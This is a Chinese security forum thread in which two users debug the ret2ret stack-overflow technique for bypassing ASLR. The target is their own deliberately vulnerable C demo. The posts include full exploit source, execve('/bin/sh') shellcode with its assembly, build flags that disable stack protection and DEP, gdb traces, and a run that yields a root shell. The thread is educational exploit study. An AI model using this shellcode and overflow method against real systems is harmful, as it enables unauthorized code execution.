首页
社区
课程
招聘
[讨论]ret2ret代码调试
发表于: 2016-6-29 11:43 6203

[讨论]ret2ret代码调试

2016-6-29 11:43
6203
昨天和 安wlaq 同学的帖子 《【求助】缓冲区溢出(ret2ret)的问题》进行了一些探讨,在刚刚看到这个帖子的时候去搜索了一下ret2ret这个方法,网上的资料比较少,几乎没有,于是感觉挺有意思,但实际上整个过程大概阅读了安wlaq同学给出的英文文献后感觉不难理解,主要利用的是程序领空的ret指令构成一个指令序列,利用缓冲区溢出将这个指令序列覆盖至某处指针之前,这样在指针低4位位置ret之后,会直接call那个指针的地址,形成了有点类似于虚函数中call [eax]的过程,这样如果指针中存放的是shellcode,那么我们就直接能执行shellcode从而绕过ASLR了。

后来安wlaq同学在调试的过程中碰到了一些问题,我刚才也进行了一下调试,我在2楼的回复也存在一些问题,感觉可能还是安wlaq在调试细节上存在一些小问题,由于这篇分析较长,所以就另起一贴,也欢迎更多的同学加入到探讨的行列中一起进步

在调试过程中,我越发觉得这个ret2ret的方法其实在实战环境下利用起来还是稍微有些苛刻,或许对于一些本地代码执行,或者说文件格式漏洞来说相对好用一些。

之前探讨的帖子地址:【求助】缓冲区溢出(ret2ret)的问题

首先我没有使用安wlaq同学在帖子中后来给我的整合后的代码,他给出的代码是在参数初始化之后调用的init函数,这可能会影响到整个demo的执行流程,因为我们知道argv[1]作为main函数的传入参数,实在程序初始化之前就生成的,我在他的代码上又稍作了一点点修改。

重要:这个源码有一些问题,由于时间仓促没有做很好的修改,后续会提到如何修改,可以麻烦自己改一下,实在不好意思。。

#include <stdio.h>
#include <string.h>
#include <malloc.h>

char shellcode[] =
"\x31\xc0"
"\x50"
"\x68 ""//sh"
"\x68 ""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

char* init(void)
{
  char *buff,*ptr;
  long *adrptr;int i;

  buff =malloc(280);
  ptr=buff;
  adrptr=(long*)ptr;

  for(i=0;i<280;i+=4)
  {
    *(adrptr++)=0x08048568;    
  }


  for(i=0;i<260;i++)
  {
    buff[i]=0x90;
  }

  ptr=buff+(260-strlen(shellcode));

  for(i=0;i<strlen(shellcode);i++)
  {
    *(ptr++)=shellcode[i];
  }

  buff[280]='\0';
  return buff;

}
void functionA(char *str)
{
  char buffer[256];
  strcpy(buffer,str);
}

void function(char *a)
{
  int no=1;
  int *ptr=&no;
  functionA(a);
}



int main(int argc,char **argv)
{
  argv[1] = init();
  function(argv[1]);
}


这个代码仍然采用关闭DEP的方法编译,生成后通过gdb执行,首先来到init函数部分。

gdb-peda$ b *0x08048592
Breakpoint 1 at 0x8048592
gdb-peda$ r
Starting program: /root/Desktop/ret2ret 
[----------------------------------registers-----------------------------------]
EAX: 0xbffff504 --> 0xbffff660 ("/root/Desktop/ret2ret")
EBX: 0xbffff470 --> 0x1 
ECX: 0xbffff470 --> 0x1 
EDX: 0xbffff494 --> 0xb7fb6000 --> 0x1a5da8 
ESI: 0xbffff508 --> 0x0 
EDI: 0x0 
EBP: 0xbffff458 --> 0x0 
ESP: 0xbffff440 --> 0x1 
EIP: 0x8048592 (<main+27>:	call   0x804845b <init>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804858a <main+19>:	mov    ebx,ecx
   0x804858c <main+21>:	mov    eax,DWORD PTR [ebx+0x4]
   0x804858f <main+24>:	lea    esi,[eax+0x4]
=> 0x8048592 <main+27>:	call   0x804845b <init>
   0x8048597 <main+32>:	mov    DWORD PTR [esi],eax
   0x8048599 <main+34>:	mov    eax,DWORD PTR [ebx+0x4]
   0x804859c <main+37>:	add    eax,0x4
   0x804859f <main+40>:	mov    eax,DWORD PTR [eax]
Guessed arguments:
arg[0]: 0x1 
arg[1]: 0xbffff504 --> 0xbffff660 ("/root/Desktop/ret2ret")
arg[2]: 0xbffff50c --> 0xbffff676 ("XDG_VTNR=7")
arg[3]: 0xbffff470 --> 0x1 
arg[4]: 0xb7fb6000 --> 0x1a5da8 


这个函数通过源码阅读可以知道,其实就是一个生成payload的过程,其中可以看到对于ptr指针的一些操作,这个源码不做具体讲解,稍微学过C预言的应该都不难理解,首先会调用malloc开辟一个280字节缓冲区,之后会对这个缓冲区进行覆盖,覆盖的内容是主程序领空里的ret地址,接下来程序会开始进行细节处理,首先是覆盖90,然后会在260字节偏移后开始覆盖shellcode,覆盖完成后返回。

首先在malloc位置下断点,单步步过之后可以获得malloc开辟缓冲区的首地址。

[----------------------------------registers-----------------------------------]
EAX: 0x804a008 --> 0x0 
EBX: 0xbffff470 --> 0x1 
ECX: 0xb7fb6420 --> 0x0 
EDX: 0x804a008 --> 0x0 
ESI: 0xbffff508 --> 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0xbffff458 --> 0x0 
ESP: 0xbffff420 --> 0x0 
EIP: 0x8048472 (<init+23>:	mov    DWORD PTR [ebp-0x18],eax)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048465 <init+10>:	push   0x118
   0x804846a <init+15>:	call   0x8048320 <malloc@plt>
   0x804846f <init+20>:	add    esp,0x10
=> 0x8048472 <init+23>:	mov    DWORD PTR [ebp-0x18],eax


首地址是eax的值,也就是0804a008,之后一直执行到init函数返回,再观察一下返回后的开辟的缓冲区内容

gdb-peda$ x/100x 0x0804a008
0x804a008:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a018:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a028:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a038:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a048:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a058:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a068:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a078:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a088:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a098:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a0a8:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a0b8:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a0c8:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a0d8:	0x90909090	0x90909090	0x90909090	0x90909090
0x804a0e8:	0x90909090	0x90909090	0xc0319090	0x2f206850
0x804a0f8:	0x6868732f	0x69622f20	0x50e3896e	0x99e18953
0x804a108:	0x80cd0bb0	0x08048568	0x08048568	0x08048568
0x804a118:	0x08048568	0x08048568	


到这里,和安wlaq同学提到的过程一样,也就是说到这里payload已经生成完毕,但实际上,安wlaq对于这个的疑问就是指针在哪里,其实这个关键的指针就在于全局变量

char shellcode[] =

在定义全局变量的时候,实际上就对于这个shellcode指针进行了赋值,且开辟了一片空间,那么当执行完生成payload之后,可以看到这片空间的指针已经进入栈空间了。

执行前

=> 0x804846a <init+15>:	call   0x8048320 <malloc@plt>
   0x804846f <init+20>:	add    esp,0x10
   0x8048472 <init+23>:	mov    DWORD PTR [ebp-0x18],eax
   0x8048475 <init+26>:	mov    eax,DWORD PTR [ebp-0x18]
   0x8048478 <init+29>:	mov    DWORD PTR [ebp-0xc],eax
Guessed arguments:
arg[0]: 0x118 
arg[1]: 0xbffff43e --> 0x10804 
arg[2]: 0xb7e1cbf8 --> 0x2aa0 
[------------------------------------stack-------------------------------------]
0000| 0xbffff410 --> 0x118 
0004| 0xbffff414 --> 0xbffff43e --> 0x10804 
0008| 0xbffff418 --> 0xb7e1cbf8 --> 0x2aa0 
0012| 0xbffff41c --> 0xb7e411e3 (<__new_exitfn+19>:	add    ebx,0x174e1d)
0016| 0xbffff420 --> 0x0 
0020| 0xbffff424 --> 0xc10000 
0024| 0xbffff428 --> 0x1 
0028| 0xbffff42c --> 0x80482dd (<_init+9>:	add    ebx,0x15df)


注意bffff410这个地址,当执行的时候shellcode全局变量被调用。

[-------------------------------------code-------------------------------------]
   0x80484de <init+131>:	mov    eax,DWORD PTR [ebp-0x18]
   0x80484e1 <init+134>:	add    eax,edx
   0x80484e3 <init+136>:	mov    DWORD PTR [ebp-0xc],eax
=> 0x80484e6 <init+139>:	mov    DWORD PTR [ebp-0x14],0x0
gdb-peda$ x/10x 0xbffff410
0xbffff410:	0x080498e4	0xbffff43e	0xb7e1cbf8	0xb7e411e3
0xbffff420:	0x0804a008	0x00000104	0x0804a120	0x0804a0f2
0xbffff430:	0xbffff660	0xbffff470


这时再来观察bffff410这个地址位置,已经加载进了一处指针080498e4,那么这处指针实际上是
shellcode开辟的地址空间指针。

要覆盖的,也是到这个位置。

这个指针是一个很关键的,也就是后续我们需要利用的,来看一下这里的调试过程,根据我给出的程序代码,需要在function入口处下断点。

gdb-peda$ b *0x08048554
Breakpoint 4 at 0x8048554
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x804a008 --> 0x90909090 
EBX: 0xbffff470 --> 0x1 
ECX: 0x24 ('$')
EDX: 0xe 
ESI: 0xbffff508 --> 0x804a008 --> 0x90909090 
EDI: 0x0 
EBP: 0xbffff458 --> 0x0 
ESP: 0xbffff42c --> 0x80485aa (<main+51>:	add    esp,0x10)
EIP: 0x8048554 (<function>:	push   ebp)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804854f <functionA+27>:	add    esp,0x10
   0x8048552 <functionA+30>:	leave  
   0x8048553 <functionA+31>:	ret    
=> 0x8048554 <function>:	push   ebp


接下来直接在最后strcpy触发缓冲区溢出位置下断点。

[-------------------------------------code-------------------------------------]
   0x8048540 <functionA+12>:	push   DWORD PTR [ebp+0x8]
   0x8048543 <functionA+15>:	lea    eax,[ebp-0x108]
   0x8048549 <functionA+21>:	push   eax
=> 0x804854a <functionA+22>:	call   0x8048310 <strcpy@plt>
   0x804854f <functionA+27>:	add    esp,0x10
   0x8048552 <functionA+30>:	leave  
   0x8048553 <functionA+31>:	ret    
   0x8048554 <function>:	push   ebp
Guessed arguments:
arg[0]: 0xbffff2f0 --> 0x1 
arg[1]: 0x804a008 --> 0x90909090 
arg[2]: 0x0 


strcpy结束之后,继续执行到ret位置,观察esp栈帧上下文。

[-------------------------------------code-------------------------------------]
   0x804854a <functionA+22>:	call   0x8048310 <strcpy@plt>
   0x804854f <functionA+27>:	add    esp,0x10
   0x8048552 <functionA+30>:	leave  
=> 0x8048553 <functionA+31>:	ret    
   0x8048554 <function>:	push   ebp
   0x8048555 <function+1>:	mov    ebp,esp
   0x8048557 <function+3>:	sub    esp,0x18
   0x804855a <function+6>:	mov    DWORD PTR [ebp-0x10],0x1
[------------------------------------stack-------------------------------------]
0000| 0xbffff3fc --> 0x8048568 (<function+20>:	in     al,dx)
0004| 0xbffff400 --> 0x8048568 (<function+20>:	in     al,dx)
0008| 0xbffff404 --> 0x8048568 (<function+20>:	in     al,dx)
0012| 0xbffff408 --> 0xbffff500 --> 0x1 
0016| 0xbffff40c --> 0x804851a (<init+191>:	add    esp,0x10)
0020| 0xbffff410 --> 0x80498e4 --> 0x6850c031 
0024| 0xbffff414 --> 0xbffff43e --> 0x10804 
0028| 0xbffff418 --> 0x1 


看到这个覆盖了吗?08048568就是源码中给出的ret地址。。这里我忘了修改成我的环境下的ret地址。。所以显示有问题,而且可能由于版本的问题,覆盖位置没有到bffff410位置,可以看那里就是之前提到的80498e4指针。

接下来我修改了一下源码,把ret地址增加到288,重新编译,直接到ret位置再看一下。

[-------------------------------------code-------------------------------------]
   0x804853f <functionA+22>:	call   0x8048310 <strcpy@plt>
   0x8048544 <functionA+27>:	add    esp,0x10
   0x8048547 <functionA+30>:	leave  
=> 0x8048548 <functionA+31>:	ret    
   0x8048549 <function>:	push   ebp
   0x804854a <function+1>:	mov    ebp,esp
   0x804854c <function+3>:	sub    esp,0x18
   0x804854f <function+6>:	mov    DWORD PTR [ebp-0x10],0x1
[------------------------------------stack-------------------------------------]
0000| 0xbffff3ec --> 0x8048568 (<function+31>:	les    edx,FWORD PTR [eax])
0004| 0xbffff3f0 --> 0x8048568 (<function+31>:	les    edx,FWORD PTR [eax])
0008| 0xbffff3f4 --> 0x8048568 (<function+31>:	les    edx,FWORD PTR [eax])
0012| 0xbffff3f8 --> 0x8048568 (<function+31>:	les    edx,FWORD PTR [eax])
0016| 0xbffff3fc --> 0x8048568 (<function+31>:	les    edx,FWORD PTR [eax])
0020| 0xbffff400 --> 0x80498e4 --> 0x6850c031 
0024| 0xbffff404 --> 0xbffff42e --> 0x10804 
0028| 0xbffff408 --> 0x1 


由于我进行了一些代码上的调整,导致栈位置发生了改变,这么看的话,如果不断的ret,到指针位置的时候,就会跳转到80498e4位置执行shellcode了。

主要问题:

做完之后我发现,其实整个调用中跟中间ptr和no的关系并不大,于是我尝试删除了这些步骤,发现就找不到shellcode的指针了,漏洞也无法利用,这个问题还未解决,有待进一步探索。

---------------------------------------

2016-06-29 14:46更新

在文章最后抛出了一个问题后,我又进行了调试,发现上午可能最后赶着吃饭有点匆忙,我发现其实去掉ptr赋值和shellcode赋值之后,这个漏洞仍然可以利用,只不过利用点稍有不同

[------------------------------------stack-------------------------------------]
0000| 0xbffff3fc --> 0x8048568 (<function+20>:	leave)
0004| 0xbffff400 --> 0x8048568 (<function+20>:	leave)
0008| 0xbffff404 --> 0x8048568 (<function+20>:	leave)
0012| 0xbffff408 --> 0x8048568 (<function+20>:	leave)
0016| 0xbffff40c --> 0x8048568 (<function+20>:	leave)
0020| 0xbffff410 --> 0x804a008 --> 0x90909090 
0024| 0xbffff414 --> 0x1a 
0028| 0xbffff418 --> 0xbffff448 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

gdb-peda$ x/10x 0x0804a008
0x804a008:	0x90909090	0x90909090	


可以看到,经过一些payload长度的调整之后,之前shellcode指针位置的值变成了buffer头部的地址值。也就是说跳过90909090这些NOP,也是可以执行shellcode的。

安wlaq在下面对我抛出了疑问,我经过中午的仔细思考,觉得我的回复也有一定错误,他说的有一定道理。首先这个利用方式,确实不能把输入写在同一个代码里,因为在同一个代码里写输入的话,相当于确实有一个指针是指向buffer,或者说指向shellcode的,当这个指针在某处被推入栈中之后,我们就可以利用ret2ret的方法,覆盖到这个指针的位置。

那么在我上面的问题中,提到为什么删除ptr之后依然可以利用的问题也就得以解决,但是我想安wlaq同学忽略了一点,就是argv这个指针,它指向的就是buffer,而argv指针作为参数是推入栈空间的,利用的就是覆盖到argv指针的位置就可以利用了。

那么我们换个角度来思考一下,我在这里也想分享一下我对这个ret2ret的方法的一些浅层次看法。首先,不要被DEMO束缚。可以这样理解这个利用:

这个利用方式的目的,是为了绕过ASLR,可以利用的点是一个栈溢出漏洞,而利用点是为了寻找一个指针,这个指针指向的是我们可控的一个区域,利用ret2ret的方法,利用程序领空的ret指令构造一个ret指令序列,在ret到这个指针的时候停止,这样就相当于最后会跳转到指针位置执行shellcode了。

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (14)
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
楼上,

0x080498e4,这个地址是 shellcode[] 的首址吗?如何是的话,不能这样用。因为原来的程序的意思是 >ret2ret `ret2retExploit`,即shellcode 是作为参数(ret2retExploit 的输出)输入到ret2ret中的。即,原来的程序 shellcode 是在 argv[1]中的,是在stack中的,不在代码段中。因此,如果地址0xbffff410是存放指向shellcode 代码的指针话,则0xbffff410里面只能存放 buffer 的地址。那0xbffff410里是如何放进 buffer 首址的(注意:buffer 也是在 stack 中的)?
2016-6-29 12:06
0
雪    币: 292
活跃值: (795)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
[QUOTE=安wlaq;1435218]楼上,

0x080498e4,这个地址是 shellcode[] 的首址吗?如何是的话,不能这样用。因为原来的程序的意思是 >ret2ret `ret2retExploit`,即shellcode 是作为参数(ret2retExploit 的输出)输入到ret2ret中的。即,原来的程序 shel...[/QUOTE]

哎,你在帖子某楼给出的程序,现在又说不能这么用我真是有点尴尬了

那下午再用你说的这种方法调一下好了
2016-6-29 13:03
0
雪    币: 292
活跃值: (795)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
[QUOTE=安wlaq;1435218]楼上,

0x080498e4,这个地址是 shellcode[] 的首址吗?如何是的话,不能这样用。因为原来的程序的意思是 >ret2ret `ret2retExploit`,即shellcode 是作为参数(ret2retExploit 的输出)输入到ret2ret中的。即,原来的程序 shel...[/QUOTE]

而且我想说你可能没有区分开代码段和堆之间的区别,080498e4是char数组申请时开辟出来的堆地址,可以作为一个指针地址存在,而不是代码段中的内容,也就是说,按照原先的做法,就算shellcode是作为参数被引用,也会在./ret2retExploit中被申请出来,是一样的。
2016-6-29 13:09
0
雪    币: 292
活跃值: (795)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
[QUOTE=安wlaq;1435218]楼上,

0x080498e4,这个地址是 shellcode[] 的首址吗?如何是的话,不能这样用。因为原来的程序的意思是 >ret2ret `ret2retExploit`,即shellcode 是作为参数(ret2retExploit 的输出)输入到ret2ret中的。即,原来的程序 shel...[/QUOTE]

楼下更新。。
2016-6-29 13:11
0
雪    币: 292
活跃值: (795)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
[QUOTE=安wlaq;1435218]楼上,

0x080498e4,这个地址是 shellcode[] 的首址吗?如何是的话,不能这样用。因为原来的程序的意思是 >ret2ret `ret2retExploit`,即shellcode 是作为参数(ret2retExploit 的输出)输入到ret2ret中的。即,原来的程序 shel...[/QUOTE]

不好意思,楼上的楼层回复略显失误,你说的很对,当作为外部参数传入的时候,确实不能这么利用,但我想说你可能忽略了argv这个指针,外部参数的引用,会把buffer存入argv指针,在后续某处会推入栈中,最后利用的也是ret到这个栈中存放argv地址值得位置,ret后达到buffer首地址,执行90909090,这个NOP指令,最后到达shellcode位置。

我重新编辑了,最后也给出了上午问题的解答,与下午过来思考的这个结果不谋而合,不要拘泥于这个DEMO本身,可以想想ret2ret整体,就像我上午调试的那个过程一样,只要找到一处可控的指针,利用它就能达到ret2ret的效果。
2016-6-29 15:03
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
楼上,

谢谢你的回复。

可否将你“改造后”能成功运行的代码贴出来?我这边一直未能调试成功.......
2016-6-29 21:12
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
我目前使用的代码已调整如下:

编译语句(跟原来一样):gcc -fno-builtin -w -fno-stack-protector -O0 -g ret2ret_1.c

#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include<sys/mman.h>

[B][COLOR="Blue"]char shellcode[]	= "\xeb\x29\x5e\x50\x53\x51\x52\x89"
			"\xf3\xb9\x00\x00\x00\x00\xba\x00"
			"\x00\x00\x00\xb8\x0b\x00\x00\x00"
			"\xcd\x80\xb8\x01\x00\x00\x00\xbb"
			"\x00\x00\x00\x00\xcd\x80\x5a\x59"
			"\x5b\x58\xc3\xe8\xd2\xff\xff\xff"
			"\x2f\x62\x69\x6e\x2f\x73\x68";[/COLOR][/B]


[COLOR="Blue"][B]void strcpy_1(char *dest, char *src, int len)
{
	int i;

	for(i=0; i<len; i++)
	{
		*dest++ = *src++;
	}	
}[/B][/COLOR]

char* init(void)
{
	char *buff,*ptr;
	long *adrptr;int i;

	[COLOR="Blue"][B]buff =malloc(272);[/B][/COLOR]
	ptr=buff;
	adrptr=(long*)ptr;

	[COLOR="Blue"][B]for(i=0;i<272;i+=4)[/B][/COLOR]
	{
		*(adrptr++)=0x0804853d;		
	}

	[COLOR="Blue"][B]ptr=buff;[/B][/COLOR]

	[COLOR="Blue"][B]for(i=0;i<55;i++)[/B][/COLOR]
	{
		*(ptr++)=shellcode[i];
	}

	return buff;
}

void function(char *str)
{
	char buffer[256];
	
	[COLOR="Blue"][B]strcpy_1(buffer,str,272);[/B][/COLOR]

	[COLOR="Blue"][B]mprotect((char*)(((int)(0x804b008))&~(4096-1)),4096,PROT_EXEC|PROT_WRITE|PROT_READ);[/B][/COLOR]
}

int main(int argc,char **argv)
{
	int no=1;
	int *ptr=&no;
	argv[1] = init();
	function(argv[1]);	
}


调整原因:
1)shellcode 代码:原来的shellcode是demo上的,调试时老是出错(它也没有贴出对应的汇编代码,因此我将它改成现在的55字节的shellcode代码,这个代码是我之前在别的例子试过可行的)

2)增加 strcpy_1() 函数,原因是不想跟 '\0' 再扯上关系。之前一直没有成功的其中一个原因是:参数str 是指向 argv[1]的,即指向shellcode的,因此只要“覆盖”至 str 的“前一个地址” 即可。在实际调试中发现,指向 argv[1](即shellcode)的地址为 0x804b008,但在“覆盖”操作完成后却变成 0x804b000,原因是 strcpy 会在最后加 “\0',即将 str 的最低字节覆盖了(08变成00)。因此,增加strcpy_1() 函数

3)因为是“覆盖”至 str 即可,因此 str 的总长度变为 272 字节,且不再需要 0x90(nop),一开始就是55字节的实际shellcode

4)在调试过程中,是可以正确跳入shellcode了,但执行时出来问题(应该是 int 0x80),因此增加了下面的语句:
mprotect((char*)(((int)(0x804b008))&~(4096-1)),4096,PROT_EXEC|PROT_WRITE|PROT_READ);
(注:0x804b008是shellcode的首址)
这个方式在别的程序奏效,但不知道为何,这次未能奏效,gdb调试时到了 int 0x80 处依然报错!

5)这里贴出55字节对应的汇编代码:
;========
shellcode:
;========
	jmp	GET_ADDR1

GET_ADDR2:
	pop	esi

	push	eax
	push	ebx
	push	ecx
	push	edx

;	mov	ebx, mesg
	mov	ebx, esi

	mov	ecx, 0
	mov	edx, 0
	mov	eax, 0xb
	int	0x80

	mov	eax, 1
	mov	ebx, 0
	int	0x80

	pop	edx
	pop	ecx
	pop	ebx
	pop	eax
	ret

GET_ADDR1:
	call	GET_ADDR2
mesg	db	"/bin/sh"
2016-6-30 08:44
0
雪    币: 292
活跃值: (795)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
9
[QUOTE=安wlaq;1435306]我目前使用的代码已调整如下:

#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include<sys/mman.h>

char shellcode[]        = "\xeb\x29\x5e\x50\x5...[/QUOTE]

可以的,忘了说\0的问题,现在你应该能理解这个利用了吧,我也是学到很多,感谢!
2016-6-30 10:00
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
楼上,

??我上面的代码你那里能调试成功?

(如果是成功的话,会出现 $ ,表示获得shell,即执行了 /bin/sh.......)
2016-6-30 10:10
0
雪    币: 292
活跃值: (795)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
11
哎。。我没调试啊,我是说这个利用你是否可以理解了。。。
2016-6-30 10:15
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
...........

对了,你之前调试成功的源码可否贴出来?我这边老是出问题,一直未调试成功.....
2016-6-30 10:24
0
雪    币: 292
活跃值: (795)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
13
你的shellcode有问题,换成下面这个

char shellcode[]  = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


ret地址和我的也有一定区别,我的ret地址是

  for(i=0;i<272;i+=4)
  {
    *(adrptr++)=0x08048516;    
  }


编译的时候关闭了DEP,否则得用ret2libc来做

gcc -fno-stack-protector -z execstack -o ret2ret_1 ret2ret.c


然后执行

root@root:~/Desktop# ./ret2ret_1
# id
uid=0(root) gid=0(root) groups=0(root)


拿到shell

源码:
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include<sys/mman.h>

char shellcode[]  = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


void strcpy_1(char *dest, char *src, int len)
{
  int i;

  for(i=0; i<len; i++)
  {
    *dest++ = *src++;
  }  
}

char* init(void)
{
  char *buff,*ptr;
  long *adrptr;int i;

  buff =malloc(272);
  ptr=buff;
  adrptr=(long*)ptr;

  for(i=0;i<272;i+=4)
  {
    *(adrptr++)=0x08048516;    
  }

  ptr=buff;

  for(i=0;i<55;i++)
  {
    *(ptr++)=shellcode[i];
  }

  return buff;
}

void function(char *str)
{
  char buffer[256];
  
  strcpy_1(buffer,str,272);

  mprotect((char*)(((int)(0x804b008))&~(4096-1)),4096,PROT_EXEC|PROT_WRITE|PROT_READ);
}

int main(int argc,char **argv)
{
  int no=1;
  int *ptr=&no;
  argv[1] = init();
  function(argv[1]);  
}
2016-6-30 10:35
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
[QUOTE=Keoyo;1435325]你的shellcode有问题,换成下面这个

char shellcode[]  = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

ret地址和我的也有一定区别,我的ret地址是

...[/QUOTE]

楼上,

你这个可以成功执行!我对比了一下,我的跟你的只有 shellcode 的区别(当然还有ret地址)。你的shellcode 对应的 汇编代码 是什么?
2016-6-30 10:55
0
雪    币: 292
活跃值: (795)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
15
我直接拿exploit-db上随便找了一段代码,没有看。。
2016-6-30 11:06
0
游客
登录 | 注册 方可回帖
返回
//